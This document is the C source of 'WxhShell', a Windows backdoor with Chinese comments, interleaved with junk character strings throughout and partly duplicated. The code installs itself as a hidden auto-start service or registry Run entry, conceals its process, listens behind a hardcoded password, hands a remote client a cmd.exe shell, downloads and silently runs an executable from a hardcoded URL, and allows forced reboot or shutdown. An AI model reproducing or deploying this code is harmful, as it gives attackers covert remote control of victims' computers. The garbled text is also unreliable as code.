V 4>( if(NULL == hInst ) return 0; Xps MgJ/w Ji%T|KR_ g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); &qrH g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ~q-|cl< NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); (iBBdB &W".fRH_O if (!NtQueryInformationProcess) return 0; TO3Yz3+A &*/X*!_HK hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); EG<K[t if(!hProcess) return 0; $Iqt
c)DA T][\wyLx1 if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Q\ro )r 33"{"2==` CloseHandle(hProcess); ;rd!kFd#bq x<9|t( hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); )Cu"M#` if(hProcess==NULL) return 0; {#>@h7 lt}|Y9h HMODULE hMod; G^r^" j char procName[255]; LB 2
2doW unsigned long cbNeeded; VpTp*[8O ]J_Dn\ if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 2E=E!Zwt_ <
8WS YZ CloseHandle(hProcess); s&8QRI. @}aK\ if(strstr(procName,"services")) return 1; // 以服务启动 $n(@hT>? mP3:Fc_G return 0; // 注册表启动 X#+A?>Z]}< } Z#"6&kv .`xcR]PQ // 主模块 #t3ju^ |? int StartWxhshell(LPSTR lpCmdLine) .\*\bvyCw { Lrr6z05F Q SOCKET wsl; B6$s*SXNp BOOL val=TRUE; ]yCmGt+b int port=0; }b6ja y struct sockaddr_in door; hvZW~
=75 GW.s\8w if(wscfg.ws_autoins) Install(); ) ,*&rd! A+;]# 1y(D port=atoi(lpCmdLine); Gh42qar` 1c?,= ;> if(port<=0) port=wscfg.ws_port; :q^g+Bu= >{npg2 WSADATA data; NTgk0cq if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ]!h%Jlu {l_R0 if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 4/Ok/I setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); %# J8cB door.sin_family = AF_INET; RQ}x7</{ door.sin_addr.s_addr = inet_addr("127.0.0.1"); ;) (qRZd6 door.sin_port = htons(port); Qzb8*;4?FF ROQk^ if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { $ZwsTV]x closesocket(wsl); y(6&90cr return 1; /Hx%gKU } /M B0%6m bF?EuL if(listen(wsl,2) == INVALID_SOCKET) { AB}Qd\ closesocket(wsl); X+bLLW>& return 1; 6Y\9h)1Jo } HTkce,dQ Wxhshell(wsl); 6q6&N'We WSACleanup(); `=%[ '<6Gz7O return 0; '2:Ily,S@ ^'v6
,*:4 }
YgdoQBQ ,|xG2G6 // 以NT服务方式启动 URJ" VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) "wexG]R=5 { ^vsOlA(4 DWORD status = 0; N-K.#5 DWORD specificError = 0xfffffff; -[Zau$;J< cnCUvD]' serviceStatus.dwServiceType = SERVICE_WIN32; -"!V&M serviceStatus.dwCurrentState = SERVICE_START_PENDING; fgTvwOSk serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; |w /txn8G| serviceStatus.dwWin32ExitCode = 0; _.Uz!2 serviceStatus.dwServiceSpecificExitCode = 0; n1buE1r? serviceStatus.dwCheckPoint = 0; R/<
/g= serviceStatus.dwWaitHint = 0; r/3!~??x +apIp(E+ hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); "LXLUa03 if (hServiceStatusHandle==0) return; My_fm?n .yg"!X status = GetLastError(); ,MOB+i(3*u if (status!=NO_ERROR) |FPx8b;# { 2tn%/gf'm serviceStatus.dwCurrentState = SERVICE_STOPPED; BQ_\8Qt| serviceStatus.dwCheckPoint = 0; 7{az %I$h serviceStatus.dwWaitHint = 0; uyjZmT/- serviceStatus.dwWin32ExitCode = status; gEU)UIJ serviceStatus.dwServiceSpecificExitCode = specificError; Yg2z=&p-{" SetServiceStatus(hServiceStatusHandle, &serviceStatus); pN4!*7M return; "%A[%7LY } Z2*hQ`eE wrGd40 serviceStatus.dwCurrentState = SERVICE_RUNNING; \+L_'*&8 serviceStatus.dwCheckPoint = 0; J,m.LpY serviceStatus.dwWaitHint = 0; /x-Ja[kL if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); UkXc7D^jwm } ><`.(Z5c N]+x@M @^3 // 处理NT服务事件,比如:启动、停止 #Yj0'bgK VOID WINAPI NTServiceHandler(DWORD fdwControl) xH3SVn(I { ?_n.B=H`8 switch(fdwControl) },[S 9I`p { uvD6uIW< case SERVICE_CONTROL_STOP: G.B^C)guu serviceStatus.dwWin32ExitCode = 0; $.V(_
serviceStatus.dwCurrentState = SERVICE_STOPPED; YF&SH)Y7 serviceStatus.dwCheckPoint = 0; [.dNX serviceStatus.dwWaitHint = 0; fp12-Hk ~ { >SfC '* 1 SetServiceStatus(hServiceStatusHandle, &serviceStatus); j]
M)i:n } !4.;Ftgjn return; :CK,(?t case SERVICE_CONTROL_PAUSE: ,ISq7*%F serviceStatus.dwCurrentState = SERVICE_PAUSED; Nmi#$K[x break; }1;Ie0l=_e case SERVICE_CONTROL_CONTINUE: #)cRD#0 serviceStatus.dwCurrentState = SERVICE_RUNNING; Im6ymaf9 break; HT1bsY
0t case SERVICE_CONTROL_INTERROGATE: sPc\xY break; \hNMTj#O }; =Eef SetServiceStatus(hServiceStatusHandle, &serviceStatus); u!L8Sv } PO)5L `yuD/-j // 标准应用程序主函数 F<IqKgGzH int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ]V.9jlXF { L=HL1Qe$G] -6t#
?Dkc' // 获取操作系统版本 A=h`Z^8\B OsIsNt=GetOsVer(); (7Y :3 GetModuleFileName(NULL,ExeFile,MAX_PATH); .fD k5uo QfwGf,0p // 从命令行安装 c%uhQ62 if(strpbrk(lpCmdLine,"iI")) Install(); r=@h}TKv{I 9iS3.LCfX // 下载执行文件 pLyX9C if(wscfg.ws_downexe) { $8_*LR$ if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) hc0VS3 k) WinExec(wscfg.ws_filenam,SW_HIDE); mYt(`S*q } \?qXscq |l)Oy#W if(!OsIsNt) { TTy1a:V // 如果时win9x,隐藏进程并且设置为注册表启动 X]y 3~|K HideProc(); rM>&!?y+ StartWxhshell(lpCmdLine); @X\nY</E#M } g`J? 2
_] else "OK(<x]3;> if(StartFromService()) XTZWbhNF // 以服务方式启动 *j<;;z- StartServiceCtrlDispatcher(DispatchTable); Pfd FB else *q8W;WaL // 普通方式启动 +[~\\X StartWxhshell(lpCmdLine); 8^< -; u c7Y8iO return 0; 6;(Slkv } B8a!"AQ~5 2M1yw " !L3Bvb;Q ~{d94o. =========================================== o_\b{<^I 6[qRb+ds N?87Bd df8rf8B- G]&:">&R VK`b'U&l" " sBSBDjk[ =1+I<Ljk #include <stdio.h> !7bC\ { #include <string.h> dm,b ZHo #include <windows.h> qRB%G<H #include <winsock2.h> aG=Y 6j
G #include <winsvc.h> VQo7se1P #include <urlmon.h> V?Nl% M[b @d4zSG/s5w #pragma comment (lib, "Ws2_32.lib") a o7|8[ #pragma comment (lib, "urlmon.lib") 162qx R[. {nHy!{+qqG #define MAX_USER 100 // 最大客户端连接数 );Gt!]p`; #define BUF_SOCK 200 // sock buffer }^LcKV #define KEY_BUFF 255 // 输入 buffer &+sO"j4<?r @)}Vk #define REBOOT 0 // 重启 2'pxA: #define SHUTDOWN 1 // 关机 0s<o5`v 9"V27"s #define DEF_PORT 5000 // 监听端口 8E0Rg/DnT KE5f`h #define REG_LEN 16 // 注册表键长度 u $sX6 #define SVC_LEN 80 // NT服务名长度 03rZz1 _0vXujz // 从dll定义API Hs-NP#I typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); )n0g6 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); %8 4<@f&n] typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); '`3-X];p typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Ogjjjy84vM S2fw"1h*x // wxhshell配置信息 )Ba^Igb} struct WSCFG { z*9/ "M int ws_port; // 监听端口 c~C :"g.y char ws_passstr[REG_LEN]; // 口令 PfuYT_p4s int ws_autoins; // 安装标记, 1=yes 0=no /6S/a*`<X char ws_regname[REG_LEN]; // 注册表键名 n+!.0d}6
char ws_svcname[REG_LEN]; // 服务名
Box,N5AA char ws_svcdisp[SVC_LEN]; // 服务显示名 9Z+@i:_} char ws_svcdesc[SVC_LEN]; // 服务描述信息 m9PcDhv char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Js=|r;' int ws_downexe; // 下载执行标记, 1=yes 0=no N!Y'W)i16 char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" PDpIU.=!0 char ws_filenam[SVC_LEN]; // 下载后保存的文件名 FAQ:0L$G
?T4%"0 }; [Cr_2 YDQV,`S7 // default Wxhshell configuration %@BQv4oJ struct WSCFG wscfg={DEF_PORT, Bj]0Cz "xuhuanlingzhe", ~Q]B}qdm 1, M#|TQa N "Wxhshell", @pG\5 Jnf "Wxhshell", Z;n}*^U "WxhShell Service", O-&n5 "Wrsky Windows CmdShell Service", pP".?|n "Please Input Your Password: ", `*N0 Lbl] 1, Dt+"E "http://www.wrsky.com/wxhshell.exe", g~V{Ca;} "Wxhshell.exe" CMF1<A4] }; r/{VL3}F_e )8Q|y // 消息定义模块 .upcUS8 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; fqZ!Bi char *msg_ws_prompt="\n\r? for help\n\r#>"; `__CL
)N| char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ?Z14l0iZ%d char *msg_ws_ext="\n\rExit."; ucA6s:!={ char *msg_ws_end="\n\rQuit."; 1C|j<w=i char *msg_ws_boot="\n\rReboot..."; ]1Q\wsB char *msg_ws_poff="\n\rShutdown..."; 3cfkJ|fuwe char *msg_ws_down="\n\rSave to "; y'zEaL&SI@ atN`w=6A` char *msg_ws_err="\n\rErr!"; Nq9(O#} char *msg_ws_ok="\n\rOK!"; N[42al -}N{'S,Bp char ExeFile[MAX_PATH]; HV?awc int nUser = 0; 1DLQZq HANDLE handles[MAX_USER]; H$[--_dI{ int OsIsNt; g`&pQ%|= :V_$?S SERVICE_STATUS serviceStatus; goHr#@ SERVICE_STATUS_HANDLE hServiceStatusHandle; IXg${I}_Q glv(`cQ // 函数声明 S`*al<m int Install(void); 'Lm.`U int Uninstall(void); $9l3DJ int DownloadFile(char *sURL, SOCKET wsh); F1,pAtA int Boot(int flag);
NOQgkN void HideProc(void); E|5gKp-wJ int GetOsVer(void); ]#*@<T*[ int Wxhshell(SOCKET wsl); ~ R* 6w($ void TalkWithClient(void *cs); TY8 8PXW int CmdShell(SOCKET sock); \Xkx`C int StartFromService(void); i3Ffk+ |b int StartWxhshell(LPSTR lpCmdLine); [&zP$i& i"-#1vy= VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); VK NCK VOID WINAPI NTServiceHandler( DWORD fdwControl ); U2bb|6j ,3Wa~\/Q // 数据结构和表定义 7)a=B! 8M SERVICE_TABLE_ENTRY DispatchTable[] = Z
v~
A9bB { q,*IR*B:a {wscfg.ws_svcname, NTServiceMain}, v =u|D$ {NULL, NULL} C'=C^X% }; ;pU LJ}rDb jn+0g:l // 自我安装 "`3H0il;< int Install(void) W"2\vo) { %WO;WxG8^ char svExeFile[MAX_PATH]; YqDw*S{ HKEY key; 2>H\arEstR strcpy(svExeFile,ExeFile); 1fC|_V(0 P,v}Au( UI // 如果是win9x系统,修改注册表设为自启动 _QErQ^` if(!OsIsNt) { U5"F1CaW~ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @lmk e> RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); nTHP~] RegCloseKey(key); )*_YeT&w. if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ]-AT(L> RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Z6
aT%7}} RegCloseKey(key); k5ZwGJ#r return 0; ,Tr12#D: } n;q7?KW8 } `V?{ } >Ek`PVPD else { ^%<v| Y(X >*_?^F_ // 如果是NT以上系统,安装为系统服务 _>aesp% SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); vw(};)8 if (schSCManager!=0) '/"( `f, { {bNnhW*qOu SC_HANDLE schService = CreateService 9j,zaGD0 ( 7"QcvV@p schSCManager, >^jm7}+hb wscfg.ws_svcname, :7`,dyIqT wscfg.ws_svcdisp, p,4z;.s$ SERVICE_ALL_ACCESS, A] F K\ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 2dq{n.cgs SERVICE_AUTO_START, d+IPa<N SERVICE_ERROR_NORMAL, l s_i)X svExeFile, od|pI5St NULL, 5fLCmLM` NULL, }U(^ QB NULL, ]>AW NULL, r`&ofk1K NULL ("TI~ ); |FNP~5v if (schService!=0) ;N
j5N B7 { 2+^#<Uok CloseServiceHandle(schService); C )PN CloseServiceHandle(schSCManager); u_[Zu8 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); kPxEGuL' strcat(svExeFile,wscfg.ws_svcname); 7v?Ygtv if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 2GD%=rP2] RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); J[B8sa RegCloseKey(key); PCU6E9~t2 return 0; *".7O*jjV } QHQj6] } %
,X(GwX CloseServiceHandle(schSCManager); %\^x3wP&o\ } d6L(Q(:s } Jrffb=+b dB/Epc& return 1; U{R*WB b } y=&)sq j[z\p~^ // 自我卸载 <D 5QlAN int Uninstall(void) 0P)c)x5 { te:VYP HKEY key; w"sRK Y# lE if(!OsIsNt) { I#mT#xs6 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 7 yi >G RegDeleteValue(key,wscfg.ws_regname); *&U9npN RegCloseKey(key); T0SD|' if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Z$pR_dazU RegDeleteValue(key,wscfg.ws_regname); C
qxP@ RegCloseKey(key); x##Iv|$ return 0; ce;9UBkOg2 } 7O{\^Jz1 } 8+!$k!=X } ud.S,
8Sy else { $b8>SSz \twlHj4 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ^6`R:SV4Gx if (schSCManager!=0) ;m&f Vp { dxU[>m; SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); l p? h~ if (schService!=0) I,#U
_ { \"lzmxe0p if(DeleteService(schService)!=0) { Zc"]Cv( CloseServiceHandle(schService); G%6wk=IH CloseServiceHandle(schSCManager);
+FJ
o!~1 return 0; a;lCr|* } > W0hrt?b CloseServiceHandle(schService); ;j(xrPNb } cis~]x% CloseServiceHandle(schSCManager); 0 @,@ } d- ]% } %d=-<EQ|& `P GWu1/ return 1; O a7W&wi } g%+nMjif (0k0gq; // 从指定url下载文件 'LX=yL]I int DownloadFile(char *sURL, SOCKET wsh) [2
Rp.? { crmnh4- HRESULT hr; S ^n:O char seps[]= "/"; mtF&Z\ag char *token; z1"UF4x* char *file; 8CYJR/ char myURL[MAX_PATH]; 4o|~KX8Qz char myFILE[MAX_PATH]; S-L6KA{ iCc\p2p strcpy(myURL,sURL); *JDc1$H0 token=strtok(myURL,seps); H)4Rs~;{'g while(token!=NULL) L72GF5+!! { kQ:2 @SOm file=token; }??q{B@v token=strtok(NULL,seps); ~L1N1Z)Kk } p;B
+g X jLEU V GetCurrentDirectory(MAX_PATH,myFILE); =N3~2=g~A strcat(myFILE, "\\"); Mr&]RTEE strcat(myFILE, file); gNO$WY^ send(wsh,myFILE,strlen(myFILE),0); :bh[6F send(wsh,"...",3,0); 9\"~ G) hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 6HEl1FK{@ if(hr==S_OK) ;or> Sh7 return 0; f.u{;W else ,%:`Ll
t]$ return 1; -Pvt+I> me9RnPe: } nU`;MW/^w >U}~Hv] // 系统电源模块 w68qyG|wM int Boot(int flag) Tq?W @DM* { q`\lvdl HANDLE hToken; 8cd,SQ}y TOKEN_PRIVILEGES tkp; BpKP]V k'\RS6M`L if(OsIsNt) { ](W#Tj5- OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Xau.4&\d LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); *]EcjK% tkp.PrivilegeCount = 1; A+dY~@*a tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; )dvOg'it AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); zb3ir| if(flag==REBOOT) { g-]td8}# if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) kiECJ@5p return 0; NR3IeTd } pLIBNo? else { eygyVhJ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ES+&e/G"ds return 0; @.gCeMlOf } /@OGYYH,M } rXaL1`t* else { P_Zo}.{ if(flag==REBOOT) { h(zi$V if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) X31k HK5F_ return 0; "y`?KY$[N } x0#+yP else {
o]FQ)WRB if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) EXzY4D ^ return 0; j^k{~]+_^] } LQS*/s0 } mEqV&M1;7l dxd}:L~z return 1; y3xP~]n } xq]&XlA:ug A/.cNen // win9x进程隐藏模块 j9,X.?Xvx void HideProc(void) |)lo<}{ { Tu"yoF m760K*:i\ HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); T&h|sa( if ( hKernel != NULL ) 'R$~U?i8 { FqiK}K.~/ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); jVA xa|S ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); <ImeZ'L7 FreeLibrary(hKernel); qzG'Gz{{qu } RXP"v- \K4m~e@! return; %1lLUgf3G/ } S}|ea2 9hq 7: // 获取操作系统版本 3) 7'dM int GetOsVer(void) 1n,JynJ { 6-^+btl)# OSVERSIONINFO winfo; "3v%| winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); VOiphw` GetVersionEx(&winfo); /q^( uWu if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) E6US return 1; wg[*]_,a else dzcPSbbpt return 0; '3xSzsDn } kn<[v;+ ~jPe9 // 客户端句柄模块 =*'`\}];" int Wxhshell(SOCKET wsl) M\GS&K$lq { i7p3GBXh[ SOCKET wsh; $;">/"7m struct sockaddr_in client; ~p8!Kb6 DWORD myID; O
8fh'6 |ST&,a$( while(nUser<MAX_USER) C2VZE~U+ { 5yQgGd) int nSize=sizeof(client); M"J$c42 wsh=accept(wsl,(struct sockaddr *)&client,&nSize); bySw#h_ if(wsh==INVALID_SOCKET) return 1; 8Ej2JMc p&q&Fr- handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); )PwDP if(handles[nUser]==0) )h/fr| closesocket(wsh); >sP;B5S else 3}vlj:L nUser++; DS^Q0 f } c2y5[L7? WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); }b{N[ 7<)
.luV return 0; QM$?}>: } @U9ov >E m/{rmtA4 // 关闭 socket w,P2_xk` void CloseIt(SOCKET wsh) c-3? D; { 'tdjPdw closesocket(wsh); >Qi2;t~G nUser--; N_T;&wibO ExitThread(0); Z$@Juv&>5^ } @hCGV'4 M^bujGD // 客户端请求句柄 +XQS
-= void TalkWithClient(void *cs) J"z8olV { 1M+mH#? ^,rbA>/L SOCKET wsh=(SOCKET)cs; m!PN1$9V char pwd[SVC_LEN]; @Pa ;h char cmd[KEY_BUFF]; FPu,sz8 char chr[1]; \:Nbl<9(9 int i,j; [3\}Ca1 .NPai4V' while (nUser < MAX_USER) { m*(8I=]q ed617J if(wscfg.ws_passstr) { ]v+\v re if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); -Z#A}h //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); wWH5T}\ //ZeroMemory(pwd,KEY_BUFF); \_+d*hHF~ i=0; Bp b_y;E while(i<SVC_LEN) { &<~`?-c jfI|( P // 设置超时 toP7b fd_set FdRead; zIlQqyOQ8 struct timeval TimeOut; 0R; ;ou FD_ZERO(&FdRead); Gz
kf FD_SET(wsh,&FdRead); z,^baU TimeOut.tv_sec=8; /|>z7#?m^ TimeOut.tv_usec=0; |i|>-|`! int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); P>)qN,a if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ? 1_*ct=g9 khyVuWN
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); y0z}[hZ pwd=chr[0]; jPFA\$To if(chr[0]==0xd || chr[0]==0xa) { U/TF,JUI pwd=0; yJ?4B?p( break; h>fY'r)DAx } T]0qd^\4w i++; +.zriiF]i } RCsd +H+OYQ>^ // 如果是非法用户,关闭 socket 9 /0<Z_b2 if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); [5,#p$R } 7q(RQQp >y2gfD send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); O>}aK.H send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3Hr ZN+D tNq~M while(1) { \# #~Tq 3 p") ZeroMemory(cmd,KEY_BUFF); 0dXWy`Mn XC~|{d // 自动支持客户端 telnet标准 A?Uyj j=0; 0*+i~g,Kl@ while(j<KEY_BUFF) { g_-Y-.M if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); sv
=6?uYW cmd[j]=chr[0]; [ibnI2I]` if(chr[0]==0xa || chr[0]==0xd) { Q
xKC5`1 cmd[j]=0; hg |DpP break; A5z5e#
,u } 1*#64Y5F j++; qA5tMZ^w } RtN5\ 6=iz@C7r // 下载文件 f7\$rx if(strstr(cmd,"http://")) { JZ9w!)U send(wsh,msg_ws_down,strlen(msg_ws_down),0); <&Y7Q[ if(DownloadFile(cmd,wsh)) 8I`>tY send(wsh,msg_ws_err,strlen(msg_ws_err),0); )]?sCNb else :6%wVy5 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <Knl6$B } M"1}"ex# else { fgq#Oi} L`tr7EEr switch(cmd[0]) { [>v.#:YM^ +Y6=;*j$
// 帮助 E]i3E[T case '?': { ]w"r4HlCx send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); [Jwo,?w break; '4ftclzL } j$,:cN // 安装 Qv|A^%Ub! case 'i': { 7$Jb"s if(Install()) R8sj>.I9j send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0M>+.}e+ else Ic P]EgB send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); IyOb0WiEj break; EH=[!iW ; } X6kCYTJYF // 卸载 4Un (}P' case 'r': { S&q@M if(Uninstall()) Mnc9l ^ send(wsh,msg_ws_err,strlen(msg_ws_err),0); JN,4#, else ^cn%]X#. send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Il `35~a break; =#
<!s! } JgEPzHgx // 显示 wxhshell 所在路径 TY"8.vd case 'p': { K)QMxn char svExeFile[MAX_PATH]; 0NL~2Qf_4 strcpy(svExeFile,"\n\r"); C|*U)#3:F strcat(svExeFile,ExeFile); s#hIzt send(wsh,svExeFile,strlen(svExeFile),0); &
=)HPzC break; OWx-I\: } j]Kpwf<NS // 重启 {Cd Q)| case 'b': { I6S!-i send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); !{>'jvH if(Boot(REBOOT)) *c3(,Bmw send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5_ !s\ 5 else { *j6KQZ" closesocket(wsh); 0}$Zr*|;Y ExitThread(0); B<zoa= } >g+yw1nC break; OX-t#R` } P{-j^'y // 关机 4YX/= case 'd': { /H3z~PBa send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); U[,."w]T if(Boot(SHUTDOWN)) 6V-u<FJ send(wsh,msg_ws_err,strlen(msg_ws_err),0); *t=8^q(K[ else { mE\sD<b closesocket(wsh); D<U^FT ExitThread(0); C>wOoXjt } 4z%::? break; iI.pxo
s } |qm_ESzl // 获取shell =HapCmrx8 case 's': { ZRHK?wg'# CmdShell(wsh); &6wD closesocket(wsh); W T~UEK' ExitThread(0); 79`OB## break; 1 etl:gcEC } +-2o b90_m // 退出 :8h\x case 'x': { B8.a#@R send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); &YpViC4K. CloseIt(wsh); &rs break; {G. W? } Jui:Ms // 离开 }$%j} F{ case 'q': { BA(erf> send(wsh,msg_ws_end,strlen(msg_ws_end),0); GBeWF-`B closesocket(wsh); *uW l 804 WSACleanup(); 7qsu0 .[d exit(1); e%[0
NVo break; w.X MyHj } (w[#h9j } Aqy y\G; } 3V uoDmG H1Jk_@b // 提示信息 LuW>8K\ if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); yxk:5L \A } %B}<5iO } >^:*x_a9 WoV"&9y return; Z=ZTSl } A:b(@'h w :nYsuF // shell模块句柄 5}C.^ J` int CmdShell(SOCKET sock) qTZ\;[CrP" { :Oiz|b( STARTUPINFO si; ml,FBBGq|- ZeroMemory(&si,sizeof(si)); u}r> ?/V! si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; @6lw_E_5 si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; *qa.hqas PROCESS_INFORMATION ProcessInfo; JkShtLEr char cmdline[]="cmd"; 2NMg+Lt8v CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); h*>%ou return 0; /O[<"Wcz } \+M6R<Qw o|kiwr}Y // 自身启动模式 {'8td^JEE int StartFromService(void) -.@dA'j[ { /PZx['g typedef struct Zh { t]IHQ8 DWORD ExitStatus; dl]pdg< DWORD PebBaseAddress; Y5{KtW DWORD AffinityMask; I=[Ir8}; DWORD BasePriority; 9| g]M:{ ULONG UniqueProcessId; DHq#beN ULONG InheritedFromUniqueProcessId; l*>,K2F } PROCESS_BASIC_INFORMATION;
s5/u>d *"nN To PROCNTQSIP NtQueryInformationProcess; '\O[j*h^. lfw|Q@ static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ;
dzQs7D} static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; x{O) n ]4ib^R~Z HANDLE hProcess; 5^ck$af PROCESS_BASIC_INFORMATION pbi; H@xHkqan m]+~F_/ HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); K'Y/0:"* if(NULL == hInst ) return 0; Uiv4'vYg 5,\-; g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); q4#$ca[_ak g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 5rb<u>e{ NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); R$ra=sL` ?6Wv["% if (!NtQueryInformationProcess) return 0; tzShds :5sjF:@ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); g#k@R'7E if(!hProcess) return 0; \ 5.nr*5 )n6,uTlOw if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; u`CHM:<<? (#?O3z1@" CloseHandle(hProcess); a<0q%Ax a&Qr7tTY" hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); })+iAxR if(hProcess==NULL) return 0; K0W X($z~; 0tz? sN HMODULE hMod; /a*8z,x char procName[255]; .p=OAh< unsigned long cbNeeded; SBy{sbx4&F F
